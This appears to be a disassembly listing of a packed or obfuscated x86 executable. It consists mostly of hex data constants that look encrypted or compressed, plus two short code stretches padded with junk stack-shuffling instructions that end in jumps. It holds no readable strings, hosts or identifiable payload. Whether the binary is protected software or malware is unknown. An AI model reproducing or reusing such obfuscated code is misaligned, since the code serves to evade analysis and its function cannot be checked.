0F1D8277Bh dd 79A691EDh, 18327D41h, 8302E43Ah, 1C8904ECh, 81E38924h dd 4C3h, 4EB8300h, 5C241C87h, 2E2E68h, 24048900h, 227E68h dd 24148900h, 0F90770B8h, 5E0C138h, 2D48D8F7h, 1F9E383Eh dd 17B0BA52h, 0CA815F7Bh, 13CC318Ah, 0F705E2C1h, 94F281D2h dd 144B47Ah, 0EC835AD0h, 24248904h, 4240483h, 0C589555Ah dd 8B086A89h, 0C481242Ch, 4, 5324148Bh, 0C381E389h, 4 dd 4C381h, 1C870000h, 34FF5C24h, 0C4835824h, 2CBDE904h dd 0C099FFF9h, 502EB81Fh, 0C50305EEh, 53C0E0FFh, 136A7E05h dd 0FEC96214h, 0F50179A9h, 3DA170D4h, 136F44C7h, 86A0595Ah dd 19369Bh, 0D73340EAh, 0F20052DBh, 0C6FF6B07h, 0D6007BCEh dd 0F2CB09D2h, 0EE540DBCh, 0F247360Dh, 832D4EF8h, 0A0004E01h dd 1029025Bh, 0EEFA142Fh, 0C6210DD5h, 0DC2057E7h, 10893B85h dd 53672E96h, 4EB5008h, 20A58510h, 53CE9h, 4327E00h, 0F2F7FC4h dd 0D4D7AC1h, 715574C3h, 704670DFh, 0EABEF5D8h, 0E5B29EBCh dd 0E5B29EBEh, 0E34880A0h, 664B85A9h, 0B3E7496Ch, 0B1FCC69Bh dd 5D7A52D9h, 0AADCDC81h, 7DA5843Eh, 0C12E0C5Dh, 0A76FE1D9h dd 0CFEAB398h, 0C375CE79h, 82D8297Ah, 0B1B4FEA2h, 85D64886h dd 63414BA6h, 0C6570C29h, 0EC0F5254h, 36EBF83h, 0F0DA2B0Bh dd 185B63AFh, 23F6BE26h, 0C375C45Dh, 0CB260556h, 56A1FDC1h dd 0BF085674h, 0E1EAA2Ch, 0DBFEA628h, 0C375C455h, 12DE1D6Eh dd 0AE200005h, 43A29A81h, 4565A68Dh, 25030E79h, 0AEFFC3E3h dd 1636015Dh, 8B9DEA30h, 8C3F57ABh, 5902A00Ah, 0E3BA9331h dd 767AEF4Bh, 35F2082Ch, 0C3752943h, 68EA7E40h, 0DDB459CDh dd 86ADA38Ch, 0E75AA086h, 0C3750A12h, 0D4BCDA8Dh, 67D8A63Ch dd 5E08h, 7A525A00h, 0F15E0654h, 40A9F5D5h, 0E23E8465h dd 27AFC375h, 44AE810Fh, 59948BAAh, 8988006h, 0C467D970h dd 1, 3D6A358Eh, 0D9F9D21Dh, 6A49A485h, 0F33C0220h, 58A7FBDBh dd 0A6116D71h, 501A327h, 0F3CF0F3Bh, 3E01499Ah, 98F1CDEDh dd 8088975Dh, 705A6AA0h, 0EC3D0152h, 529D4D83h, 3F085664h dd 0AF87CFEFh, 50E707E6h, 51B18C90h, 0B8088E3Dh, 2E06488Eh dd 74C20B89h, 4D83E25Dh, 0A6D6A981h, 0C78B75DFh, 0B29BE7C7h dd 370D1961h, 0FDE8EFA8h, 557953BEh, 0C9F13E09h, 0A2808AF5h dd 133A135Ch, 3649D274h, 0D92576B7h, 228C0AB9h, 0ECDB642Ch dd 0BCDA8DE8h, 0D93E4CD4h, 931867h, 35AA0000h, 3D01216Ah dd 0AB8B9DECh, 33D6548h, 8CD42A0Ah, 75E24729h, 22735CC3h dd 75A28DD1h, 0DF8E7945h, 192169BBh, 183E6837h, 0F2D2F5C2h dd 475F60D8h, 30996ED4h, 8A418DF5h, 4A74DB0Ch, 0FA7A310Ch dd 0EA67D92Fh, 76h, 0A80D35FCh, 0C375E2C0h, 5CB3F2C3h dd 29166452h, 0C8ED5FCh, 9666CAEFh, 2C7DC375h, 489EFECAh dd 2467237Fh, 5B1806A2h, 750D8A7Eh, 16B889C3h, 750D3D83h dd 94E536C3h, 7BA788B4h, 0D299F3Ah, 0D92AC375h, 185BB288h dd 5A78524Eh, 0DAF35C04h, 6645A4FAh, 75E23C81h, 0A620A3C3h dd 0B09AA56Dh, 0B87D4C92h, 0C375E230h, 1483E233h, 67D98E7Ch dd 148h, 65521A00h, 0EE3E0955h, 1DCEF2C8h, 0BBE7487Dh dd 54A5959Dh, 0CD0D3A19h, 85886403h, 63462CDh, 9D0AAF27h dd 5AC95D13h, 0C2CA3509h, 0C5C76CFCh, 52D89DE1h, 7CC692D3h dd 0EF398B0Fh, 123A01CFh, 8781EECCh, 226C5BA7h, 0B0F9C614h dd 5112B288h, 57D9FC29h, 6CC692D3h, 2CA43203h, 0D0FA0B14h dd 3F7E5CE0h, 31F92AACh, 92A91CE4h, 65CBEEC6h, 7EC692A9h dd 30735C2Dh, 65EBCBDDh, 0F243EE66h, 117DE61h, 2E80000h dd 351531EEh, 444AE2E4h, 2B131CA6h, 93D58BD3h, 42BF1A50h dd 0B7C95CA0h, 310D5178h, 91A991D8h, 0BB137C4Dh, 5897B794h dd 340A696Dh, 0B58B83ACh, 1F6E4C8Ch, 5A99F0CEh, 3D6F5577h dd 0D5F5D619h, 7F57A089h, 9FBFE8B7h, 3B8D6A43h, 38C69289h dd 0FB408CEFh, 46B18DD1h, 0A66E6046h, 9289AD13h, 5F4BA6C6h dd 0F3CF2E7Fh, 0DE6A6CDFh, 6360E8CEh, 61F223F1h, 44D3h dd 79A48B00h, 0CD28015Dh, 236A359Dh, 8FEE3F03h, 0B618FBF0h dd 75E34D63h, 1C0B66C3h, 2E93EF38h, 0C375E25Ah, 45B7D390h dd 0C8EDE5A6h, 0C375E3B0h, 0A66EE233h, 54AA9299h, 0CE0C3A75h dd 1B5A99F0h, 59h, 56EE024Fh, 75E2FD43h, 54A5F6C3h, 0E872A772h dd 2677C95Ch, 99BDEFD8h, 9EA0E8B7h, 0E606FD40h, 6D5EC692h dd 0E9CDDF6Dh, 0A1648867h, 0CFDE6129h, 7BBA93EFh, 83350B9Eh dd 0A3FFC8CCh, 0C527454h, 15E7E368h, 399C36D7h, 0C2B16B96h dd 0F0480253h, 0DA914D3Eh, 4D83E200h, 31EE029Dh, 82EB3717h dd 15BC19B1h, 17C96433h, 0FC3F1F08h, 9C943E0Fh, 30BE2B4h dd 96E8CB6Ah, 0F15F7FA9h, 1A2562AAh, 0E0482D2Dh, 0E3C69B49h dd 64B5818Ch, 49E15762h, 91E2C69Bh, 84360E40h, 28DFD3CBh dd 7FC23C7Fh, 0ED2F15E6h, 0ACFC9ACDh, 0A9F65A7Ch, 4F775F7Fh dd 4F95866Ah, 714C9DE8h, 0C7E72611h, 7214C7FBh, 94BDEEB1h dd 0D41DF6CAh, 5497E0B4h, 28112F79h, 2209C710h, 0E5F6C4EAh dd 3, 526F2335h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h dd 4E8B68h, 240C8900h, 0C181E189h, 4, 8704E983h db 0Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 6BDBh mov [esp], esi push 5EE512Ch mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push edx add dword ptr [esp], 269204A8h pop dword ptr [esi+8] push eax mov eax, 269204A8h sub [esi+8], eax pop eax mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- dw 0ABABh dd 9A51E3E5h, 0D8C3991Eh, 55DBB840h, 0C50305EEh, 8AC9E0FFh dd 19ED4016h, 6C8C0777h, 0D28F6743h, 2FA97A6Dh, 1C88783Ah dd 0A8797EBCh, 35316CA0h, 0B09C7C0Ch, 48945D3h, 0AF9B3555h dd 53795238h, 56523E4Fh, 8D620CB2h, 0B9A654B0h, 8FE44726h dd 4D280CEEh, 36875E71h, 68066043h, 3EB52805h, 96AE1A6Dh dd 79FA7658h, 87607ABFh, 8D8D2092h, 5EE5774h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0DCF414F3h dd 0B3FFE985h, 0F5B50B7Ch, 8905E725h, 0E723158Dh, 1BD8905h dd 0C705E72Ch, 0E708B985h, 73A405h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 33FDC9DEh dd 0ACEA0CA4h, 761A5DBEh, 9985C742h, 5E70Ch, 66000000h dd 958BF18Bh, 5E72249h, 17DB5FFh, 6E905E7h, 6B000000h dd 0CD4626B2h, 3865B847h, 95FF0DA2h, 5E732CDh, 6A24B3h dd 1A1D95FFh, 0C08B05E7h, 3B923BEBh, 0D8B4C977h, 47475E9Bh dd 634A77A6h, 0F1D3369Eh, 2629B4E8h, 72EDFFC3h, 7E25EEC1h dd 188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 8E6C7B49h dd 47B4AE07h, 0C0E4BECDh, 7804EBB0h, 0E9411092h, 5BAh dd 0B997A7EDh, 0B69AB892h, 0B098A0E9h, 4C9CA0EBh, 4D83BBE7h dd 11195160h, 2D182729h, 33182729h, 36163D13h, 0D9893810h dd 9BB574FCh, 0AA1C0FC6h, 72547A52h, 96D9F92Dh, 614896B4h dd 0C7F33C02h, 7E22ADFEh, 7569D55Bh, 459DEEC3h, 0C710CF34h dd 0D3FA4509h, 4B5DB0F3h, 0E028176Bh, 0AEAE12A7h, 54A5C375h dd 0C2C8370Bh, 0AE483085h, 0F1D5C375h, 0D3BC8DD1h, 3619B182h dd 9DEC3208h, 0F497605Eh, 705676D2h, 621C14D8h, 0BF6A0572h dd 0DA1A8253h, 757EC780h, 0EF33133Ah, 5B705F9Eh, 0F3A15C72h dd 9139061Dh, 7530BC04h, 1566B7C3h, 1F3F6C3Bh, 8DC9F4C3h dd 0C527AC5h, 0A29CDF2Eh, 0D517155h, 0F4CAE822h, 337F1BC0h dd 21073FB7h, 0AA8A836Ch, 552D7554h, 0B32201CCh, 0B090B517h dd 3E17311Eh, 43453A22h, 0D31263BFh, 3916361Dh, 9B3ED7E7h dd 0C375C615h, 585DD2Eh, 0C8EC3FDEh, 0B787B0FFh, 0ED31026Bh dd 756CA308h, 0CAF03EC3h, 0BC808BF4h, 585465Eh, 0BA1BE9B0h dd 0FCCD5397h, 0A8B0D689h, 67D89838h, 6D6D5AE5h, 955C3111h dd 5E208E69h, 60552E0Dh, 11000000h, 6547A52h, 75E2CFB3h dd 0B145EC3h, 0EDFC3F1Fh, 387038EDh, 0D0F3CBD4h, 398F6435h dd 3AC375E6h, 851F8AE9h, 0B667D98Ah, 248CBFFEh, 200368A1h dd 15Bh, 78526F00h, 1738705Ah, 6564BCD7h, 0E0CF3372h, 49B684AAh dd 57207E5Eh, 14369234h, 99B39C36h, 0E4C7AB5h, 321A212Fh dd 526C3C2Ch, 0D37C5664h, 0A28BD7E7h, 0C8577F43h, 56BDF8DEh dd 64085674h, 1E16D3F7h, 0F5805D23h, 8FAFF9ACh, 2A095AB3h dd 0B4FDDBC7h, 8E95BB84h, 7262B89Eh, 7F996F4Ah, 499AC375h dd 3C1A076Ah, 0B8E7CAECh, 6FB39Ch, 0EFD82608h, 30449AA2h dd 4F832FABh, 71C9FA9Ch, 7B85CA30h, 9D086BBEh, 67D89013h dd 8FD1h, 66A68900h, 0D0137A40h, 3C6A3586h, 0D9250900h dd 0B5BA7F0h, 75E2DAAEh, 0BF88D9C3h, 1129117Ch, 0FCB5E2CDh dd 75E257D9h, 32036CC3h, 4E4803ECh, 4A86B4E2h, 478EB59Ah dd 0D81EEC2Fh, 59A5F651h, 0CFEF3970h, 0A19981ECh, 623B125Dh dd 75BDE157h, 4091E2C3h, 9D3DEE7Ah, 0D92D2DB7h, 573F67h dd 528B0000h, 3F085664h, 87F0CEEEh, 135CA29Ah, 4CC81626h dd 4B377B1Fh, 854D8600h, 75E24830h, 3B7A4BC3h, 7CECEAD4h dd 9EBEEFB0h, 5C0A6940h, 47447852h, 230C2C79h, 44298CD2h dd 0DBC375E2h, 7AC50E88h, 0DA330F4Fh, 8E940C9Bh, 0FE4167D9h dd 0D0AD88AEh, 1, 55655292h, 0D5F65909h, 6540A9F5h, 0E2381E0Eh dd 3F8D0DDEh, 6906CAF2h, 70C88283h, 0CD8134Bh, 0DFCF2220h dd 0E336BCFFh, 0C95D6F26h, 1E3E65CAh, 398AE9C0h, 4FBC0491h dd 66B7C692h, 0DE3C000Bh, 1760BE8Fh, 103F1135h, 0E64A6F38h dd 0FDC6924Fh, 0BA7F43ACh, 0C6924F34h, 9F2DAD1Eh, 98A7A98Dh dd 7C24AEB0h, 4F9F61B4h, 4B94C692h, 924F1AEEh, 0EDC819C6h dd 5C62AA95h, 3008317Eh, 0A6969DEAh, 0EC3E7158h, 1FCCF0CEh dd 38A3377Bh, 341A329Eh, 0B6868D92h, 2E220168h, 0F1E127B9h dd 1612561h, 92BD0000h, 15994BAh, 0C0A80D35h, 0C3C375E2h dd 0E00CB3F2h, 818A953Dh, 310C5DA1h, 8545FDA5h, 0D028B0h dd 0FDFA5F9Eh, 0FAC95C61h, 6FB38BB7h, 0DD85CD1Eh, 924970F8h dd 0C32273C6h, 0B698B0FFh, 0BB9B8D9Ah, 2E301867h, 8B0FBCD0h dd 1CFEF39h, 0F1E31282h, 763261h, 35B40000h, 0AB0B206Ah dd 7CF82A10h, 0C8217D4Eh, 7A19D6EDh, 36234550h, 96B9C375h dd 993C96B4h, 0C3753717h, 13E0C32Ch, 94EACCDCh, 0E0D6CBBCh dd 0D5EDBE0h, 951BDE3Ch, 67C375F0h, 0D916E2E4h, 81DDF924h dd 0F07CC4D1h, 2677C375h, 92B09AD5h, 74410941h, 0C375F08Ch dd 7F77B687h, 75F1065Ah, 0CFFB44C3h, 8EDFAC8Fh, 0A686CC4h dd 0A1F67DE7h, 94CD8E42h, 1D000000h, 0C0A80D35h, 0C3C375E2h dd 0E00CB3F2h, 42ED953Dh, 0A1F6757h, 0D8BDA3E3h, 0C8DDBAF9h dd 8DC95C3Bh, 37115EBCh, 3A123917h, 3EB5D56Dh, 2FB6BDF8h dd 922DE64Ah, 43ACFDC6h, 0DDF9240Bh, 754DA881h, 922C3580h dd 4076A0C6h, 3B1B0D7Ah, 7E18C3E7h, 7D1D4ECCh, 68D0FD2Fh dd 2570FF34h, 26DD735Ch, 0DB83CBCAh, 92E40AFEh, 0FD3809C6h dd 3CEA24F1h, 0B081CC83h, 2B0B1D6Ah, 9E38A3D7h, 0B7918E62h dd 2E7C4B97h, 8ADB3208h, 8A8411B9h, 61C2B164h, 2683810h dd 12A72FEEh, 0C9643A18h, 2606012Eh, 0BAA709ACh, 53BCC69Bh dd 0C52A310h, 0A592EC44h, 30327455h, 0A88E9EF5h, 0ADB19BA0h dd 0F03E0151h, 5695F4CAh, 9AA789F1h, 0C9F1980Dh, 2413517Bh dd 92E3CA10h, 97B791BEh, 92D7C4Bh, 0BCDA8135h, 361A3C6Ch dd 0C31F3F69h, 398h, 6F23CE00h, 0A506652h, 0F7CBEB3Dh dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h dd 7D4179A6h, 0E43A1832h, 4E486802h, 24890000h, 4BF5724h dd 1000000h, 5F04247Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 2B68243Ch, 89000062h, 3DBF241Ch, 8171C22Ah dd 675652F7h, 9FBB536Bh, 295E456Eh, 814F5BDFh, 71B610EFh dd 694968B6h, 24890000h, 24048324h, 15685B04h, 89000000h dd 438F243Ch, 2434FF08h, 4C4815Bh, 0FF000000h, 835F2434h dd 4E904C4h, 0A2FFF920h, 0B711681h, 0F8B8B699h, 305EE5Ch dd 52E0FFC5h, 0E766855Fh, 8D540B08h, 4566A503h, 5704F385h dd 6E3525BFh, 2D222FB0h, 0A12346EEh, 0A364CE01h, 1463AFDFh dd 647E3956h, 46FDE91h, 0A96AB6E1h, 270A606Ch, 14581BB3h dd 0E87A765Ah, 812AAF1Dh, 1C664570h, 0CE79E800h, 4F0668C3h dd 222580ACh, 9A095CE4h, 4100BAC5h, 0B51F8B86h, 8F0D22E9h dd 386EB3B7h, 2E5907BEh, 502143CFh, 0E171ED53h, 511E09C8h dd 0A818036Dh, 8D724824h, 0EE5EAF8Dh, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 5AC9F5DBh, 0B866570Eh, 8D89812Ch, 5E72315h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 25C35343h, 2C719D8Bh dd 85C705E7h, 5E708B9h, 5DE0h, 0C7FE8B66h dd 0E70C9985h, 5, 0FFF48A00h, 0E72CC5B5h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5227477Eh, 2C95A3F0h, 0BF66A538h, 8B66CBD3h, 0CD95FFDEh dd 8B05E732h, 0E7226185h, 0FF006A05h, 0E71A1D95h, 0EBC08B05h dd 0BD39576Ch, 0D1A5190Ah, 5C994116h, 523B8FCEh, 0EF5234BCh dd 42515BF8h, 0E395A8B0h, 0B9534581h, 5D203572h, 0EB740A46h dd 0D19DE545h, 26BEFFFEh, 6153CD9Ah, 915FC920h, 5DF0CC27h dd 0BD162516h, 51569831h, 62F2F7B7h, 99C23A06h, 0B5C6E15Fh dd 6510E36Eh, 0F514F289h, 8380DECCh, 9FA15158h, 5005841Eh dd 0D873223Eh, 0B0467390h, 0C004EB6Ch, 0E95ECEF4h, 549h dd 0C50B3379h, 0C20E2C7Eh, 0DC0C4C75h, 0D8705477h, 0D9774773h dd 0BDE5BDF4h, 0B9E4B39Dh, 0A7E4B39Dh, 0AAE24987h, 6D654484h dd 9BBDE048h, 0C6B0E3C6h, 6547A52h, 7C9F139h, 0F0CE1038h dd 487848E0h, 7A4F5A3Fh, 0CCF4D43Bh, 59A6F4C2h, 34156951h dd 7B449AEBh, 0F45B7353h, 58B18DC9h, 335A251Dh, 4A133597h dd 75F7996Fh, 78499AC3h, 7C424BD0h, 1038092Dh, 0DC22020Bh dd 4A90A493h, 3806367Dh, 0A6F4C0CFh, 9D6C4C59h, 4462CCCAh dd 7451F397h, 7DAFF454h, 0CBB00559h, 52C375F7h, 138D9733h dd 3167D979h, 79h, 0A80D35B5h, 0C375E2C0h, 6EBFF2C3h, 8006F4Eh dd 9165D826h, 0CC375E2h, 0BD573D5Dh, 8F67D98Eh, 1, 0F87D35DBh dd 0EE34D57Ah, 0CCDE3570h, 7FC090EEh, 0C532082Ch, 48A1FDDDh dd 8F20277Fh, 4AF57A95h, 2006046Bh, 9ABAEDDAh, 0F690FB44h dd 7852705Ah, 509365B0h, 4790C375h, 4943E864h, 34D56D65h dd 0C4AC0949h, 0DFC375F7h, 8E30B48Eh, 0CF0F3B76h, 955B9AF3h dd 566452F5h, 0CFEF3F08h, 5B70DF87h, 0E2CABE7Bh, 0F8C9C375h dd 0BA2145BDh, 0B4828C1Ch, 0B99D8F94h, 2D2D1A65h, 0ADAD9AA5h dd 7276651h, 0A281D23Bh, 0BFDBF05Ch, 0D98C4BD5h, 641967h dd 0EEB10000h, 0A39B86BEh, 0E13D0E5Fh, 0CBC7B688h, 0AB85099Ch dd 64521E48h, 0F23F0856h, 0E29266B3h, 4091C375h, 0D5C2B77h dd 0CBF33F8Dh, 0CAF03E05h, 0BC808BF4h, 0B1D9F25Eh, 0D98C49ABh dd 451B67h, 52AF0000h, 3F085664h, 0DC84CEEEh, 75E277F9h dd 0C0230CC3h, 0DA5202FEh, 79BFF190h, 0C796D5BEh, 13961C3h dd 78521BCFh, 0CCB1045Ah, 53C375E2h, 12829630h, 0C367D98Eh dd 0EECABE1Bh, 0F8C9C375h, 1C0BDh, 52820000h, 3E095565h dd 0CEF2C8EEh, 0E22F7D1Dh, 737976DAh, 7AA19F8Ch, 0DC2D7142h dd 31FEDBF3h, 26C95D13h, 6752FDD5h, 0C3220B57h, 0B698B0FFh dd 0BB9B8D9Ah, 34020C13h, 4E3489F9h, 0DBC692D3h, 0A18EECF0h dd 6D4D5E78h, 93EF3811h, 0E04A4CFFh, 0C1C56A3Ah, 0B48AB2FFh dd 0B6290455h, 0BF98B010h, 0B75D050h, 0C08ADB7Ch, 38102E7Fh dd 6AE6C516h, 0AEAE95BAh, 0D73A7950h, 0A28DD1F5h, 976446Ah dd 91DE3C1Ch, 624D91A9h, 20AB0634h, 0DD8E14A6h, 193D6FBDh dd 7940D037h, 960C61F2h, 46000001h, 0A72FEE02h, 1EE237FFh dd 15C375E2h, 3300E9C4h, 0D9C95CF7h, 5D784976h, 123A8659h dd 0AB185BA4h, 6D48705Ah, 0C692A89Bh, 126C4F98h, 0DC3E325h dd 0FAC0E626h, 67BB9B8Dh, 73BC8343h, 5179684Bh, 4943EC94h dd 73301965h, 0C692A88Dh, 0A8D65A7Fh, 9CEDC692h, 828FE233h dd 34147BBAh, 0B597B812h, 1DFCB298h, 0CE1FF6B7h, 0B5DE90F0h dd 297E15F1h, 70579DD8h, 61F23CE0h, 7DECh, 0ED02E600h dd 0D4E9E127h, 2A261415h, 52429490h, 933B04F0h, 755E6206h dd 0E530F8C3h, 0C3755F13h, 0DE9ACE10h, 0B6981E9Dh, 6DB50665h dd 7B030BCAh, 0C52A353h, 8DD1FB44h, 644777A2h, 757A3D83h dd 0C857FFC3h, 82BAE1DFh, 2D1C6DB1h, 0A786D4E4h, 0B0751544h dd 589BA3EFh, 8DC5C625h, 0C527AC5h, 7B304831h, 62B3C375h dd 0AB2DEEh, 0DE610000h, 0CC94EAD0h, 757A07E9h, 0E2331CC3h dd 0EE02D783h, 50FFA72Fh, 230A5066h, 0E83267C0h, 0E637C95Ch dd 597DAF98h, 3807CFF7h, 99F0CE10h, 92E754DCh, 0A006FC6h dd 26F3DB24h, 0C692E752h, 0CE250051h, 81B9E6DEh, 32A993B9h dd 0FBC42972h, 3A8E2BD3h, 39C69227h, 0C0B58DE8h, 0C6922675h dd 0D27E1853h, 4874D4FAh, 0BD81A5E7h, 7E72116Ch, 3E68379Fh dd 88EBC218h, 8723F7C2h, 0DE20CC83h, 5B73F7FFh, 0F780237Bh dd 0A897EB34h, 7C005E60h, 0E71BCF4h, 1E3946CAh, 0F6D72B13h dd 731746A5h, 20AA6B81h, 0B2160195h, 5BF5C6C2h, 56EE02B7h dd 75E2FD43h, 54A5F6C3h, 0D1F24A72h, 0AC96262h, 0C3573073h dd 80C96449h, 0C1C6BB7h, 0F19262Ah, 0B398A72Fh, 37604F93h dd 81D23B07h, 4C745CA2h, 9B858769h, 70B39CC6h, 7814DE97h dd 0C4C2851Bh, 0CAEC3C03h, 983D95F4h, 0A27B1A10h, 8CE3C213h dd 8996BA9Ch, 1463BF9Fh, 96B91135h, 7C4D91A9h, 35BDC101h dd 2DCB107Dh, 1954BD60h, 0A8E04046h, 0ABFD4A86h, 5DAEAE95h dd 35A01h, 238C0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h dd 3A18327Dh, 895302E4h, 4BE56E3h, 1000000h, 0EB835EF3h dd 241C8704h, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h dd 68240C89h, 1D13h, 68242C89h, 5EE5F2Bh, 83240C8Bh, 496804C4h dd 8900002Fh, 4812424h, 424h, 0EC835D00h, 240C8904h, 8B08458Fh dd 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h, 240C8B5Ch dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F9190AE9h, 0F87EBEFFh dd 0B5BDB240h, 63E9B813h, 0C50305EEh, 0EECCE0FFh, 0B1AC5210h dd 4DF06316h, 747D52F1h, 52C250B0h, 4D724D69h, 0DF904AFEh dd 846D541Ch, 9CFC4CA8h, 0AD0016D2h, 172E662Fh, 2B285926h dd 4EB305Fh, 390A7AE4h, 568E9h, 98BEEA00h, 83A3EBB0h, 81B9E64Dh dd 85A9E04Fh, 84B2FC4Bh, 164A7944h, 113E1228h, 113E122Ah dd 6F341434h, 0F237193Dh, 8673C5D0h, 570C69Bh, 547A5255h dd 0C9F13906h, 0CE103807h, 0A18587F0h, 0E02A755Dh, 4EADFCC2h dd 370B2B63h, 47521A48h, 0C375E2F1h, 8C29A1F2h, 0C375E224h dd 0DC8FEE3Fh, 183E6EBAh, 2226B30h, 86A6E748h, 0DE1251B8h dd 26745471h, 94EAD2D9h, 0AA5F7BE0h, 9642CD92h, 7549BD03h dd 1D65B6C3h, 5E9DA439h, 507A5A73h, 3580DDCFh, 0C3758343h dd 0D8267740h, 91BEB2F1h, 103F97B7h, 0EAD41727h, 7583A217h dd 2CAA3DC3h, 0D92DAC24h, 529867h, 352A0000h, 0DE1D3D6Ah dd 0A9F5D9F3h, 75E26ED4h, 0EAECFFC3h, 0D98E6EE6h, 15E67h dd 35680000h, 0DC1F3F6Ah, 0A9F5D5F1h, 82174C5Eh, 0C375E23Eh dd 479BE435h, 310D5178h, 21830746h, 5B0BC5E5h, 0DBF3CBF4h dd 75E20AFEh, 0FD3809C3h, 9C8EB696h, 2FE36DBEh, 8566452h dd 0F3CFEF3Fh, 0DE6A6CDFh, 38E0EAD0h, 75E22B9Dh, 9CDF28C3h dd 0FDC1CB50h, 4F6956A1h, 0C7267440h, 0B283A3E8h, 0AF2BE06Ch dd 0D98C3BA5h, 912967h, 52BD0000h, 3F085664h, 0A79C3F2h dd 0B344F134h, 0FAD31C62h, 90BB84DAh, 915A6E4Ch, 0F8EA45E9h dd 0F36CC440h, 340E3AAEh, 0D34326FCh, 39A88BF0h, 37073391h dd 36043219h, 0A88C9FE8h, 71DE8652h, 0A7367555h, 254EE623h dd 30083192h, 2348D4EEh, 75E52296h, 87D021C3h, 856FF1A4h dd 627D67D9h, 55000000h, 0F3A008ADh dd 52A3C375h, 0D5290D1Fh, 3521B9F4h, 3F03236Ah, 76A08FEEh dd 30360E40h, 5D6207F2h, 0D01F6342h, 0B87DBFBh, 0BCEA4640h dd 529EB29Eh, 0B1045A78h, 0C375E2CCh, 404F7557h, 0E8D72B74h dd 6EBF83A3h, 0D42A0A03h, 0D466606Bh, 5D4AD591h, 0EDC8217Dh dd 5CF4DCFAh, 6867D98Eh, 1, 5565527Ah, 0CBF65909h, 135EAFF3h dd 0E6C71B3Bh, 5760A887h, 91246701h, 0C3752C2Fh, 9D83DB24h dd 0F2C819E3h, 2F7D1DCEh, 0A216A3E2h, 0A1C3750Ah, 32C90750h dd 22F7DFBEh, 0C95DFB65h, 4379A48Bh, 37166448h, 0FB3687E6h dd 60BE8FCFh, 3F113517h, 0BC163810h, 479BBB93h, 463B0766h dd 0C69DFBF0h, 5BE991DAh, 54E36D71h, 230C5274h, 0D5F9C5E9h dd 98A76066h, 0B4848DB3h, 0E8360766h, 5E7CAE81h, 2818301Fh dd 0AA83DFFFh, 8010F759h, 4C61F175h, 17Bh, 31EE0206h, 0E2E43515h dd 1831153Ah, 0C3CB5BECh, 64BA8BF8h, 74412605h, 61C95C11h dd 0B591BE10h, 5604995h, 0FDDAF23Dh, 0C6979336h, 0EE526743h dd 0E5C69268h, 25644B94h, 83EC3D01h, 0C2B603CBh, 0C1C69268h dd 90BFB5F0h, 184896B8h, 0ED311537h, 5A72A19Ch, 0D9822674h dd 153913B1h, 0E5240B3Bh, 51ACFDC1h, 0F2044ADAh, 507A61h dd 0CF500000h, 413782C3h, 42C69274h, 95C52071h, 0A42EED02h dd 75E37F11h, 0A32B74C3h, 54AA8C9Ch, 75C83675h, 0C375E283h dd 0D2280E1Eh, 0BD81A1E5h, 0A20C8AC1h, 0CD2FAB18h, 40557D1Eh dd 0C375E328h, 25D67A4Bh, 0C7h, 5354D169h, 0F44A48E1h dd 6A3521B9h, 0EC3D0121h, 1FEF291h, 14E2D04h, 1F74970Fh dd 0C0D5FDCEh, 0C95C46DBh, 8EC04698h, 85F139F7h, 7E5C62AAh dd 0B780DE2Fh, 3619B195h, 80E93515h, 8880AFA5h, 1EE558A6h dd 36C692F0h, 0D5F75575h, 4CA05FF1h, 0F6590149h, 0FADFF7D7h dd 0C692F676h, 18C13C0Dh, 0CC83532Dh, 6825103Fh, 0A09BFB4Dh dd 5EAFF8C8h, 755DAE1Fh, 48D7FC2Ah, 38551D20h, 32CE1061h dd 397335C4h, 0A18EF033h, 477B4767h, 931F294h, 0A0ABC4ACh dd 0A38EDFC8h, 127B4777h, 5D40ACD3h, 0DEFC2A75h, 73C5D080h dd 70C8A0ABh, 0DF97D627h, 0B10ECBFAh, 565EA0C2h, 0EEF1F166h dd 270D7DC4h, 0AE7786DFh, 2DFF35Dh, 12A72FEEh, 0C9644713h dd 44B38FD8h, 0A0686244h, 9B87A315h, 5F49A0C6h, 1CF2E7Fh dd 0FDDAF25Dh, 0C081AA2Ch, 0CF137C2Bh, 7850BFFEh, 60B50856h dd 7B05B7BFh, 0C7E7240Bh, 5392FBh, 61F54D86h, 0EB07EC98h dd 8983EECDh, 8C9CABA5h, 340C54AAh, 77520A09h, 0B39EDDB7h dd 5266B498h, 6CC40189h, 2F0118C6h, 614CAFD5h, 62C90727h dd 0A536042Ah, 1Eh, 6E4B51E9h, 0AB8881DAh, 17C5A44h, 0A80D35A9h dd 0C375E2C0h, 94A2ECC3h, 0D7166746h, 6652D989h, 0EB3D0A50h dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh dd 79A691EDh, 18327D41h, 5202E43Ah, 0C281E289h, 4, 4EA81h dd 14870000h, 34895C24h, 0E0895024h, 405h, 42D00h, 4870000h dd 3C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h, 0BF240489h dd 0BEB5625h, 0E7C1DFF7h, 0BE78102h, 